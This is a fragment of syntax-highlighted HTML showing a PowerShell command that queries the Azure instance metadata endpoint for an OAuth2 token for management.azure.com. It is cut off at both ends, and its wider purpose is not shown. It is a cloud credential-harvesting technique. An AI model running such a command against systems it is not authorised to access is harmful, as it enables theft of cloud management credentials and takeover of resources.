l</span><span class="p">.</span><span class="n">exe</span> <span class="n">-c</span> <span class="nv">$a</span><span class="p">=</span><span class="nb">Invoke-Restmethod</span> <span class="n">-Uri</span> <span class="s1">&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&quot;&amp;&quot;resource=https://management.azure.com/&#39;</span> <span class="n">-Method</span> <span class="n">GET</span> <span class="n">-Headers</span> <span class="p">@{</span><span class="n">Metadata</